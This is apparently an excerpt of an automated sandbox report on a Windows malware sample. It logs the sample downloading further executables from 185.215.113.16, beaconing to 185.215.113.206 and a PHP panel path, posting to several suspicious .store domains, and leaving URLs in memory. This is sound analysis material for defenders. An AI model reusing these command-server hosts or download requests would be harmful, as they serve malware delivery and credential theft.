Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 0000001D.00000002.3245303742.0000012DCA393000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3245303742.0000012DCA393000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000003.3186613240.0000012DD1FD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: file.exe, 00000000.00000003.2334696390.0000000000B57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 26972fc2ff.exe, 0000000C.00000002.2978129542.000000000121E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 26972fc2ff.exe, 0000000C.00000002.2978129542.000000000121E000.00000004.00000020.00020000.00000000.sdmp, 26972fc2ff.exe, 0000000C.00000002.2978129542.0000000001277000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000020.00000002.3127897267.0000000001411000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: num.exe, 00000020.00000002.3127897267.0000000001411000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: 26972fc2ff.exe, 0000000C.00000002.2978129542.0000000001277000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php#
Source: 26972fc2ff.exe, 0000000C.00000002.2978129542.0000000001277000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000020.00000002.3127897267.0000000001411000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/
Source: 26972fc2ff.exe, 0000000C.00000002.2978129542.0000000001277000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/z
Source: num.exe, 00000020.00000002.3127897267.0000000001411000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php5
Source: 26972fc2ff.exe, 0000000C.00000002.2978129542.0000000001277000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php7
Source: num.exe, 00000020.00000002.3127897267.0000000001411000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpQ
Source: 26972fc2ff.exe, 0000000C.00000002.2978129542.0000000001277000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php_
Source: 26972fc2ff.exe, 0000000C.00000002.2978129542.0000000001277000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpc
Source: num.exe, 00000020.00000002.3127897267.0000000001411000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpy
Source: num.exe, 00000020.00000002.3127897267.0000000001411000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/7
Source: num.exe, 00000020.00000002.3127897267.0000000001411000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/S
Source: 26972fc2ff.exe, 0000000C.00000002.2978129542.0000000001277000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/o
Source: file.exe, 00000000.00000003.2200743082.000000000544F000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2914631057.00000000051F8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3046731999.00000000052CA000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3210422220.0000000005737000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2200743082.000000000544F000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2914631057.00000000051F8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3046731999.00000000052CA000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3210422220.0000000005737000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2200743082.000000000544F000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2914631057.00000000051F8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3046731999.00000000052CA000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3210422220.0000000005737000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2200743082.000000000544F000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2914631057.00000000051F8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3046731999.00000000052CA000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3210422220.0000000005737000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2200743082.000000000544F000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2914631057.00000000051F8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3046731999.00000000052CA000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3210422220.0000000005737000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2200743082.000000000544F000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2914631057.00000000051F8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3046731999.00000000052CA000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3210422220.0000000005737000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2200743082.000000000544F000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2914631057.00000000051F8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3046731999.00000000052CA000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3210422220.0000000005737000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001D.00000003.3190293236.0000012DD06C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001D.00000002.3233123382.0000012DC9526000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 0000001D.00000002.3233123382.0000012DC9561000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times$
Source: firefox.exe, 0000001D.00000002.3233123382.0000012DC9526000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 0000001D.00000002.3233123382.0000012DC9561000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 0000001D.00000002.3233123382.0000012DC9526000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 0000001D.00000002.3222303134.0000012DBDF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/stringsH
Source: firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: http://fb.me/use-check-prop-types
Source: firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: http://fb.me/use-check-prop-typesG
Source: firefox.exe, 0000001D.00000003.3125401839.0000012DCE4FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3130414680.0000012DCE2C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3114838181.0000012DCD8CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: file.exe, 00000000.00000003.2200743082.000000000544F000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2914631057.00000000051F8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3046731999.00000000052CA000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3210422220.0000000005737000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2200743082.000000000544F000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2914631057.00000000051F8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3046731999.00000000052CA000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3210422220.0000000005737000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: http://stackoverflow.com/questions/30030031)
Source: firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul(
Source: firefox.exe, 0000001D.00000002.3259862224.0000012DCA700000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulR
Source: file.exe, 00000000.00000003.2200743082.000000000544F000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2914631057.00000000051F8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3046731999.00000000052CA000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3210422220.0000000005737000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2200743082.000000000544F000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2914631057.00000000051F8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3046731999.00000000052CA000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3210422220.0000000005737000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001D.00000003.3100848381.0000012DCDF52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3089248329.0000012DCDF0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3099604044.0000012DCDF31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000003.2172864736.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172812609.000000000544B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172960842.0000000005449000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885253174.00000000051E8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885151286.00000000051EA000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000B.00000003.2885483661.00000000051E8000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 0000000D.00000003.3012936504.00000000052C9000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3146249606.000000000573B000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3144082337.000000000573B000.00000004.00000800.00020000.00000000.sdmp, 9f543353fa.exe, 00000011.00000003.3130833181.000000000573E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001D.00000002.3259232431.0000012DCA500000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 0000001D.00000002.3264222993.0000012DCB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001D.00000002.3207033401.00000026A49D8000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
